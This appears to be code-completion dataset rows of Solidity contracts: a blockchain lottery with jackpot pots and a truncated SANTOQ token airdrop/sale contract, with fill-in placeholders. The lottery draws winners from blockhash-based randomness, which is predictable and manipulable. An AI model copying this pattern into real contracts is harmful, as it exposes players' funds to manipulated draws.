uint256 _from = round[curRoundId-1].slotSum + 1; // dummy slot ignore
uint256 _pivot;
//Slot memory _slot;
uint256 _pivotWTo;
// Binary search
while (_from <= _to) {
_pivot = (_from + _to) / 2;
//_slot = round[_rId].slot[_pivot];
_pivotWTo = slot[_pivot].wTo;
if (isWinSlot(_pivot, _keyNumber)) return _pivot;
if (_pivotWTo < _keyNumber) { // in right side
_from = _pivot + 1;
} else { // in left side
_to = _pivot - 1;
}
}
return _pivot; // never happens or smt gone wrong
}
// Key Block in future
function genEstKeyBlockNr(uint256 _endTime)
public
view
returns(uint256)
{
if (block.timestamp >= _endTime) return block.number + 8;
uint256 timeDist = _endTime - block.timestamp;
uint256 estBlockDist = timeDist / BLOCK_TIME;
return block.number + estBlockDist + 8;
}
// get block hash of first block with blocktime > _endTime
function getSeed(uint256 _keyBlockNr)
public
view
returns (uint256)
{
// Key Block not mined atm
if (block.number <= _keyBlockNr) return block.number;
return uint256(blockhash(_keyBlockNr));
}
// current reward balance
function getRewardBalance(address _buyer)
public
view
returns(uint256)
{
return rewardBalance[_buyer];
}
// GET endTime
function getSlideEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].slideEndTime);
}
function getFixedEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].fixedEndTime);
}
function getTotalPot()
public
view
returns(uint256)
{
return grandPot + majorPot + minorPot;
}
// EarlyIncome
function getEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = earlyIncomeScannedSum[_buyer];
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId);
_rId++;
}
return _sum;
}
// included claimed amount
function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer];
uint256 _ppw = round[_rId].ppw;
uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer];
uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM);
return _rEarlyIncome;
}
function getCurEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = 0;
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId));
_rId++;
}
return _sum;
}
function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId);
return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]);
}
////////////////////////////////////////////////////////////////////
function getEstKeyBlockNr(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].keyBlockNr;
}
function getKeyBlockNr(uint256 _estKeyBlockNr)
public
view
returns(uint256)
{
require(block.number > _estKeyBlockNr, "blockHash not avaiable");
uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE;
return _estKeyBlockNr + jump;
}
// Logs
function getCurRoundId()
public
view
returns(uint256)
{
return curRoundId;
}
function getTPrice()
public
view
returns(uint256)
{
return Helper.getTPrice(curRTicketSum);
}
function getTMul()
public
view
returns(uint256)
{
return Helper.getTMul(curRTicketSum);
}
function getPMul()
public
view
returns(uint256)
{
return Helper.getEarlyIncomeMul(curRTicketSum);
}
function getPTicketSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pTicketSum[_buyer];
}
function getTicketSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].ticketSum;
}
function getPInvestedSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pInvestedSum[_buyer];
}
function getInvestedSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].investedSum;
}
function getPSlotLength(address _sender)
public
view
returns(uint256)
{
return pSlot[_sender].length;
}
function getSlotLength()
public
view
returns(uint256)
{
return slot.length;
}
function getSlotId(address _sender, uint256 i)
public
view
returns(uint256)
{
return pSlot[_sender][i];
}
function getSlotInfo(uint256 _slotId)
public
view
returns(address, uint256[4], string)
{
Slot memory _slot = slot[_slotId];
return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt));
}
function cashoutable(address _address)
public
view
returns(bool)
{
// need 1 ticket or in waiting time to start new round
return (round[curRoundId].pTicketSum[_address] > 0) || (round[curRoundId].startTime > block.timestamp);
}
// set endRound, prepare to upgrade new version
function setLastRound(uint256 _lastRoundId)
public
onlyDevTeam()
{
require(_lastRoundId >= 18 && _lastRoundId > curRoundId, "too early to end");
require(lastRoundId == 88888888, "already set");
lastRoundId = _lastRoundId;
}
} | contract Lottery {
using SafeMath for uint256;
modifier withdrawRight(){
require(msg.sender == address(bankContract), "Bank only");
_;
}
modifier onlyDevTeam() {
require(msg.sender == devTeam, "only for development team");
_;
}
modifier buyable() {
require(block.timestamp > round[curRoundId].startTime, "not ready to sell Ticket");
require(block.timestamp < round[curRoundId].slideEndTime, "round over");
_;
}
enum RewardType {
Minor,
Major,
Grand,
Bounty
}
// 1 buy = 1 slot = _ethAmount => (tAmount, tMul)
struct Slot {
address buyer;
uint256 rId;
// ticket numbers in range and unique in all rounds
uint256 tNumberFrom;
uint256 tNumberTo;
// weight to, used for grandPot finalize
uint256 wTo;
uint256 ethAmount;
uint256 salt;
}
struct Round {
// earlyIncome weight sum
uint256 rEarlyIncomeWeight;
// blockNumber to get hash as random seed
uint256 keyBlockNr;
mapping(address => uint256) pTicketSum;
mapping(address => uint256) pInvestedSum;
// early income weight by address
mapping(address => uint256) pEarlyIncomeWeight;
mapping(address => uint256) pEarlyIncomeCredit;
mapping(address => uint256) pEarlyIncomeClaimed;
// early income per weight
uint256 ppw;
// endTime increased every slot sold
// endTime limited by fixedEndTime
uint256 startTime;
uint256 slideEndTime;
uint256 fixedEndTime;
// ticketSum from round 1 to this round
uint256 ticketSum;
// investedSum from round 1 to this round
uint256 investedSum;
// number of slots from round 1 to this round
uint256 slotSum;
}
// round started with this grandPot amount,
// used to calculate the rate for grandPot results
// init in roundInit function
uint256 initGrandPot;
Slot[] slot;
// slotId logs by address
mapping( address => uint256[]) pSlot;
mapping( address => uint256) public pSlotSum;
// logs by address
mapping( address => uint256) public pTicketSum;
mapping( address => uint256) public pInvestedSum;
CitizenInterface public citizenContract;
F2mInterface public f2mContract;
BankInterface public bankContract;
RewardInterface public rewardContract;
address public devTeam;
uint256 constant public ZOOM = 1000;
uint256 constant public ONE_HOUR = 60 * 60;
uint256 constant public ONE_DAY = 24 * ONE_HOUR;
uint256 constant public TIMEOUT0 = 3 * ONE_HOUR;
uint256 constant public TIMEOUT1 = 12 * ONE_HOUR;
uint256 constant public TIMEOUT2 = 7 * ONE_DAY;
uint256 constant public FINALIZE_WAIT_DURATION = 60; // 60 Seconds
uint256 constant public NEWROUND_WAIT_DURATION = ONE_DAY; // 24 Hours
// 15 seconds on Ethereum, 12 seconds used instead to make sure blockHash unavaiable
// when slideEndTime reached
// keyBlockNumber will be estimated again after every slot buy
uint256 constant public BLOCK_TIME = 12;
uint256 constant public MAX_BLOCK_DISTANCE = 254;
uint256 constant public MAJOR_RATE = 1000;
uint256 constant public MINOR_RATE = 1000;
uint256 constant public MAJOR_MIN = 0.1 ether ;
uint256 constant public MINOR_MIN = 0.1 ether ;
//uint256 public toNextPotPercent = 27;
uint256 public grandRewardPercent = 20;
uint256 public jRewardPercent = 60;
uint256 public toTokenPercent = 12; // 10% dividends 2% fund
uint256 public toBuyTokenPercent = 1;
uint256 public earlyIncomePercent = 22;
uint256 public toRefPercent = 15;
// sum == 100% = toPotPercent/100 * investedSum
// uint256 public grandPercent = 68;
uint256 public majorPercent = 24;
uint256 public minorPercent = 8;
uint256 public grandPot;
uint256 public majorPot;
uint256 public minorPot;
uint256 public curRoundId;
uint256 public lastRoundId = 88888888;
uint256 constant public startPrice = 0.002 ether;
mapping (address => uint256) public rewardBalance;
// used to save gas on earlyIncome calculating, curRoundId never included
// only earlyIncome from round 1st to curRoundId-1 are fixed
mapping (address => uint256) public lastWithdrawnRound;
mapping (address => uint256) public earlyIncomeScannedSum;
mapping (uint256 => Round) public round;
// Current Round
// first SlotId in last Block to fire jackpot
uint256 public jSlot;
// jackpot results of all slots in same block will be drawed at the same time,
// by player, who buys the first slot in next block
uint256 public lastBlockNr;
// used to calculate grandPot results
uint256 public curRWeight;
// added by slot salt after every slot buy
// does not matter with overflow
uint256 public curRSalt;
// ticket sum of current round
uint256 public curRTicketSum;
constructor (address _devTeam)
public
{
// register address in network
DevTeamInterface(_devTeam).setLotteryAddress(address(this));
devTeam = _devTeam;
}
// _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress];
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
bankContract = BankInterface(_contract[1]);
citizenContract = CitizenInterface(_contract[2]);
//lotteryContract = LotteryInterface(lotteryAddress);
rewardContract = RewardInterface(_contract[4]);
}
<FILL_FUNCTION>
// Core Functions
function pushToPot()
public
payable
{
addPot(msg.value);
}
function checkpoint()
private
{
// dummy slot between every 2 rounds
// dummy slot never win jackpot cause of min 0.1 ETH
Slot memory _slot;
_slot.tNumberTo = round[curRoundId].ticketSum;
slot.push(_slot);
Round memory _round;
_round.startTime = NEWROUND_WAIT_DURATION.add(block.timestamp);
// started with 3 hours timeout
_round.slideEndTime = TIMEOUT0 + _round.startTime;
_round.fixedEndTime = TIMEOUT2 + _round.startTime;
_round.keyBlockNr = genEstKeyBlockNr(_round.slideEndTime);
_round.ticketSum = round[curRoundId].ticketSum;
_round.investedSum = round[curRoundId].investedSum;
_round.slotSum = slot.length;
curRoundId = curRoundId + 1;
round[curRoundId] = _round;
initGrandPot = grandPot;
curRWeight = 0;
curRTicketSum = 0;
}
// from round 18+ function
function isLastRound()
public
view
returns(bool)
{
return (curRoundId == lastRoundId);
}
function goNext()
private
{
uint256 _totalPot = getTotalPot();
grandPot = 0;
majorPot = 0;
minorPot = 0;
f2mContract.pushDividends.value(_totalPot)();
// never start
round[curRoundId].startTime = block.timestamp * 10;
round[curRoundId].slideEndTime = block.timestamp * 10 + 1;
}
function initRound()
private
{
// update all Round Log
checkpoint();
if (isLastRound()) goNext();
}
function finalizeable()
public
view
returns(bool)
{
uint256 finalizeTime = FINALIZE_WAIT_DURATION.add(round[curRoundId].slideEndTime);
if (finalizeTime > block.timestamp) return false; // too soon to finalize
if (getEstKeyBlockNr(curRoundId) >= block.number) return false; //block hash not exist
return curRoundId > 0;
}
// bounty
function finalize()
public
{
require(finalizeable(), "Not ready to draw results");
// avoid txs blocked => curRTicket ==0 => die
require((round[curRoundId].pTicketSum[msg.sender] > 0) || (curRTicketSum == 0), "must buy at least 1 ticket");
endRound(msg.sender);
initRound();
}
function mintReward(
address _lucker,
uint256 _slotId,
uint256 _value,
RewardType _rewardType)
private
{
// add reward balance
rewardBalance[_lucker] = rewardBalance[_lucker].add(_value);
// reward log
rewardContract.mintReward(
_lucker,
curRoundId,
slot[_slotId].tNumberFrom,
slot[_slotId].tNumberTo,
_value,
uint256(_rewardType)
);
}
function jackpot()
private
{
// get blocknumber to get blockhash
uint256 keyBlockNr = getKeyBlockNr(lastBlockNr);//block.number;
// salt not effected by jackpot, too risk
uint256 seed = getSeed(keyBlockNr);
// slot numberic from 1 ... totalSlot(round)
// jackpot for all slot in last block, jSlot <= i <= lastSlotId (=slotSum - 1)
// _to = first Slot in new block
//uint256 _to = round[curRoundId].slotSum;
uint256 jReward;
uint256 toF2mAmount;
address winner;
// jackpot check for slots in last block
while (jSlot + 1 < round[curRoundId].slotSum) {
// majorPot
if ((seed % MAJOR_RATE == 6) &&
(slot[jSlot].ethAmount >= MAJOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = majorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Major);
toF2mAmount = majorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
majorPot = majorPot - jReward - toF2mAmount;
}
// minorPot
if (((seed + jSlot) % MINOR_RATE == 8) &&
(slot[jSlot].ethAmount >= MINOR_MIN)) {
winner = slot[jSlot].buyer;
jReward = minorPot / 100 * jRewardPercent;
mintReward(winner, jSlot, jReward, RewardType.Minor);
toF2mAmount = minorPot / 100 * toTokenPercent;
f2mContract.pushDividends.value(toF2mAmount)();
minorPot = minorPot - jReward - toF2mAmount;
}
seed = seed + 1;
jSlot = jSlot + 1;
}
}
function endRound(address _bountyHunter)
private
{
uint256 _rId = curRoundId;
uint256 keyBlockNr = getKeyBlockNr(round[_rId].keyBlockNr);
uint256 _seed = getSeed(keyBlockNr) + curRSalt;
uint256 onePercent = grandPot / 100;
uint256 rGrandReward = onePercent * grandRewardPercent;
//PUSH DIVIDENDS
uint256 toF2mAmount = onePercent * toTokenPercent;
//uint256 _bountyAmount = onePercent * bountyPercent;
grandPot = grandPot - toF2mAmount - onePercent;
f2mContract.pushDividends.value(toF2mAmount)();
// base on grand-intestedSum current grandPot
uint256 weightRange = getWeightRange();
// roll 3 turns
for (uint256 i = 0; i < 3; i++){
uint256 winNr = Helper.getRandom(_seed, weightRange);
// if winNr > curRoundWeight => no winner this turn
// win Slot : fromWeight <= winNr <= toWeight
// got winner this rolling turn
if (winNr <= curRWeight) {
grandPot -= rGrandReward;
uint256 _winSlot = getWinSlot(winNr);
address _winner = slot[_winSlot].buyer;
mintReward(_winner, _winSlot, rGrandReward, RewardType.Grand);
_seed = _seed + (_seed / 10);
}
}
mintReward(_bountyHunter, 0, onePercent * 3 / 10, RewardType.Bounty);
rewardContract.pushBounty.value(onePercent * 7 / 10)(curRoundId);
}
function buy(string _sSalt)
public
payable
{
buyFor(_sSalt, msg.sender);
}
function updateInvested(address _buyer, uint256 _ethAmount)
private
{
round[curRoundId].investedSum += _ethAmount;
round[curRoundId].pInvestedSum[_buyer] += _ethAmount;
pInvestedSum[_buyer] += _ethAmount;
}
function updateTicketSum(address _buyer, uint256 _tAmount)
private
{
round[curRoundId].ticketSum = round[curRoundId].ticketSum + _tAmount;
round[curRoundId].pTicketSum[_buyer] = round[curRoundId].pTicketSum[_buyer] + _tAmount;
curRTicketSum = curRTicketSum + _tAmount;
pTicketSum[_buyer] = pTicketSum[_buyer] + _tAmount;
}
function updateEarlyIncome(address _buyer, uint256 _pWeight)
private
{
round[curRoundId].rEarlyIncomeWeight = _pWeight.add(round[curRoundId].rEarlyIncomeWeight);
round[curRoundId].pEarlyIncomeWeight[_buyer] = _pWeight.add(round[curRoundId].pEarlyIncomeWeight[_buyer]);
round[curRoundId].pEarlyIncomeCredit[_buyer] = round[curRoundId].pEarlyIncomeCredit[_buyer].add(_pWeight.mul(round[curRoundId].ppw));
}
function buyFor(string _sSalt, address _sender)
public
payable
buyable()
{
uint256 _salt = Helper.stringToUint(_sSalt);
uint256 _ethAmount = msg.value;
uint256 _ticketSum = curRTicketSum;
require(_ethAmount >= Helper.getTPrice(_ticketSum), "not enough to buy 1 ticket");
// investedSum logs
updateInvested(_sender, _ethAmount);
// update salt
curRSalt = curRSalt + _salt;
// init new Slot, Slot Id = 1..curRSlotSum
Slot memory _slot;
_slot.rId = curRoundId;
_slot.buyer = _sender;
_slot.ethAmount = _ethAmount;
_slot.salt = _salt;
uint256 _tAmount = Helper.getTAmount(_ethAmount, _ticketSum);
uint256 _tMul = Helper.getTMul(_ticketSum);
uint256 _pMul = Helper.getEarlyIncomeMul(_ticketSum);
uint256 _pWeight = _pMul.mul(_tAmount);
uint256 _toAddTime = Helper.getAddedTime(_ticketSum, _tAmount);
addTime(curRoundId, _toAddTime);
// update weight
uint256 _slotWeight = (_tAmount).mul(_tMul);
curRWeight = curRWeight.add(_slotWeight);
_slot.wTo = curRWeight;
uint256 lastSlot = slot.length - 1;
// update ticket params
_slot.tNumberFrom = slot[lastSlot].tNumberTo + 1;
_slot.tNumberTo = slot[lastSlot].tNumberTo + _tAmount;
updateTicketSum(_sender, _tAmount);
// EarlyIncome Weight
// ppw and credit zoomed x1000
// earlyIncome mul of each ticket in this slot
updateEarlyIncome(_sender, _pWeight);
// add Slot and update round data
slot.push(_slot);
round[curRoundId].slotSum = slot.length;
// add slot to player logs
pSlot[_sender].push(slot.length - 1);
// first slot in this block draw jacpot results for
// all slot in last block
if (lastBlockNr != block.number) {
jackpot();
lastBlockNr = block.number;
}
distributeSlotBuy(_sender, curRoundId, _ethAmount);
round[curRoundId].keyBlockNr = genEstKeyBlockNr(round[curRoundId].slideEndTime);
}
function distributeSlotBuy(address _sender, uint256 _rId, uint256 _ethAmount)
private
{
uint256 onePercent = _ethAmount / 100;
uint256 toF2mAmount = onePercent * toTokenPercent; // 12
uint256 toRefAmount = onePercent * toRefPercent; // 10
uint256 toBuyTokenAmount = onePercent * toBuyTokenPercent; //1
uint256 earlyIncomeAmount = onePercent * earlyIncomePercent; //27
uint256 taxAmount = toF2mAmount + toRefAmount + toBuyTokenAmount + earlyIncomeAmount; // 50
uint256 taxedEthAmount = _ethAmount.sub(taxAmount); // 50
addPot(taxedEthAmount);
// 10% Ref
citizenContract.pushRefIncome.value(toRefAmount)(_sender);
// 2% Fund + 10% Dividends
f2mContract.pushDividends.value(toF2mAmount)();
// 1% buy Token
f2mContract.buyFor.value(toBuyTokenAmount)(_sender);
// 27% Early
uint256 deltaPpw = (earlyIncomeAmount * ZOOM).div(round[_rId].rEarlyIncomeWeight);
round[_rId].ppw = deltaPpw.add(round[_rId].ppw);
}
function claimEarlyIncomebyAddress(address _buyer)
private
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddressRound(_buyer, curRoundId);
uint256 _rId = curRoundId - 1;
while ((_rId > lastWithdrawnRound[_buyer]) && (_rId + 20 > curRoundId)) {
earlyIncomeScannedSum[_buyer] += claimEarlyIncomebyAddressRound(_buyer, _rId);
_rId = _rId - 1;
}
}
function claimEarlyIncomebyAddressRound(address _buyer, uint256 _rId)
private
returns(uint256)
{
uint256 _amount = getCurEarlyIncomeByAddressRound(_buyer, _rId);
if (_amount == 0) return 0;
round[_rId].pEarlyIncomeClaimed[_buyer] = _amount.add(round[_rId].pEarlyIncomeClaimed[_buyer]);
rewardBalance[_buyer] = _amount.add(rewardBalance[_buyer]);
return _amount;
}
function withdrawFor(address _sender)
public
withdrawRight()
returns(uint256)
{
if (curRoundId == 0) return;
claimEarlyIncomebyAddress(_sender);
lastWithdrawnRound[_sender] = curRoundId - 1;
uint256 _amount = rewardBalance[_sender];
rewardBalance[_sender] = 0;
bankContract.pushToBank.value(_amount)(_sender);
return _amount;
}
function addTime(uint256 _rId, uint256 _toAddTime)
private
{
round[_rId].slideEndTime = Helper.getNewEndTime(_toAddTime, round[_rId].slideEndTime, round[_rId].fixedEndTime);
}
// distribute to 3 pots Grand, Majorm Minor
function addPot(uint256 _amount)
private
{
uint256 onePercent = _amount / 100;
uint256 toMinor = onePercent * minorPercent;
uint256 toMajor = onePercent * majorPercent;
uint256 toGrand = _amount - toMinor - toMajor;
minorPot = minorPot + toMinor;
majorPot = majorPot + toMajor;
grandPot = grandPot + toGrand;
}
//////////////////////////////////////////////////////////////////
// READ FUNCTIONS
//////////////////////////////////////////////////////////////////
function isWinSlot(uint256 _slotId, uint256 _keyNumber)
public
view
returns(bool)
{
return (slot[_slotId - 1].wTo < _keyNumber) && (slot[_slotId].wTo >= _keyNumber);
}
function getWeightRange()
public
view
returns(uint256)
{
return Helper.getWeightRange(grandPot, initGrandPot, curRWeight);
}
function getWinSlot(uint256 _keyNumber)
public
view
returns(uint256)
{
// return 0 if not found
uint256 _to = slot.length - 1;
uint256 _from = round[curRoundId-1].slotSum + 1; // dummy slot ignore
uint256 _pivot;
//Slot memory _slot;
uint256 _pivotWTo;
// Binary search
while (_from <= _to) {
_pivot = (_from + _to) / 2;
//_slot = round[_rId].slot[_pivot];
_pivotWTo = slot[_pivot].wTo;
if (isWinSlot(_pivot, _keyNumber)) return _pivot;
if (_pivotWTo < _keyNumber) { // in right side
_from = _pivot + 1;
} else { // in left side
_to = _pivot - 1;
}
}
return _pivot; // never happens or smt gone wrong
}
// Key Block in future
function genEstKeyBlockNr(uint256 _endTime)
public
view
returns(uint256)
{
if (block.timestamp >= _endTime) return block.number + 8;
uint256 timeDist = _endTime - block.timestamp;
uint256 estBlockDist = timeDist / BLOCK_TIME;
return block.number + estBlockDist + 8;
}
// get block hash of first block with blocktime > _endTime
function getSeed(uint256 _keyBlockNr)
public
view
returns (uint256)
{
// Key Block not mined atm
if (block.number <= _keyBlockNr) return block.number;
return uint256(blockhash(_keyBlockNr));
}
// current reward balance
function getRewardBalance(address _buyer)
public
view
returns(uint256)
{
return rewardBalance[_buyer];
}
// GET endTime
function getSlideEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].slideEndTime);
}
function getFixedEndTime(uint256 _rId)
public
view
returns(uint256)
{
return(round[_rId].fixedEndTime);
}
function getTotalPot()
public
view
returns(uint256)
{
return grandPot + majorPot + minorPot;
}
// EarlyIncome
function getEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = earlyIncomeScannedSum[_buyer];
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum + getEarlyIncomeByAddressRound(_buyer, _rId);
_rId++;
}
return _sum;
}
// included claimed amount
function getEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _pWeight = round[_rId].pEarlyIncomeWeight[_buyer];
uint256 _ppw = round[_rId].ppw;
uint256 _rCredit = round[_rId].pEarlyIncomeCredit[_buyer];
uint256 _rEarlyIncome = ((_ppw.mul(_pWeight)).sub(_rCredit)).div(ZOOM);
return _rEarlyIncome;
}
function getCurEarlyIncomeByAddress(address _buyer)
public
view
returns(uint256)
{
uint256 _sum = 0;
uint256 _fromRound = lastWithdrawnRound[_buyer] + 1; // >=1
if (_fromRound + 100 < curRoundId) _fromRound = curRoundId - 100;
uint256 _rId = _fromRound;
while (_rId <= curRoundId) {
_sum = _sum.add(getCurEarlyIncomeByAddressRound(_buyer, _rId));
_rId++;
}
return _sum;
}
function getCurEarlyIncomeByAddressRound(address _buyer, uint256 _rId)
public
view
returns(uint256)
{
uint256 _rEarlyIncome = getEarlyIncomeByAddressRound(_buyer, _rId);
return _rEarlyIncome.sub(round[_rId].pEarlyIncomeClaimed[_buyer]);
}
////////////////////////////////////////////////////////////////////
function getEstKeyBlockNr(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].keyBlockNr;
}
function getKeyBlockNr(uint256 _estKeyBlockNr)
public
view
returns(uint256)
{
require(block.number > _estKeyBlockNr, "blockHash not avaiable");
uint256 jump = (block.number - _estKeyBlockNr) / MAX_BLOCK_DISTANCE * MAX_BLOCK_DISTANCE;
return _estKeyBlockNr + jump;
}
// Logs
function getCurRoundId()
public
view
returns(uint256)
{
return curRoundId;
}
function getTPrice()
public
view
returns(uint256)
{
return Helper.getTPrice(curRTicketSum);
}
function getTMul()
public
view
returns(uint256)
{
return Helper.getTMul(curRTicketSum);
}
function getPMul()
public
view
returns(uint256)
{
return Helper.getEarlyIncomeMul(curRTicketSum);
}
function getPTicketSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pTicketSum[_buyer];
}
function getTicketSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].ticketSum;
}
function getPInvestedSumByRound(uint256 _rId, address _buyer)
public
view
returns(uint256)
{
return round[_rId].pInvestedSum[_buyer];
}
function getInvestedSumToRound(uint256 _rId)
public
view
returns(uint256)
{
return round[_rId].investedSum;
}
function getPSlotLength(address _sender)
public
view
returns(uint256)
{
return pSlot[_sender].length;
}
function getSlotLength()
public
view
returns(uint256)
{
return slot.length;
}
function getSlotId(address _sender, uint256 i)
public
view
returns(uint256)
{
return pSlot[_sender][i];
}
function getSlotInfo(uint256 _slotId)
public
view
returns(address, uint256[4], string)
{
Slot memory _slot = slot[_slotId];
return (_slot.buyer,[_slot.rId, _slot.tNumberFrom, _slot.tNumberTo, _slot.ethAmount], Helper.uintToString(_slot.salt));
}
function cashoutable(address _address)
public
view
returns(bool)
{
// need 1 ticket or in waiting time to start new round
return (round[curRoundId].pTicketSum[_address] > 0) || (round[curRoundId].startTime > block.timestamp);
}
// set endRound, prepare to upgrade new version
function setLastRound(uint256 _lastRoundId)
public
onlyDevTeam()
{
require(_lastRoundId >= 18 && _lastRoundId > curRoundId, "too early to end");
require(lastRoundId == 88888888, "already set");
lastRoundId = _lastRoundId;
}
} |
require(curRoundId == 0, "already activated");
initRound();
| function activeFirstRound()
public
onlyDevTeam()
| function activeFirstRound()
public
onlyDevTeam()
|
74658 | SANTOQ | Distribute | contract SANTOQ is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "SANTOQ";
string public constant symbol = "SNQ";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 30000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 6500e8;
uint public target0drop = 100;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x45518A73F4659D292921e98f5A889947791A85cD;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 25000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {<FILL_FUNCTION_BODY> }
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
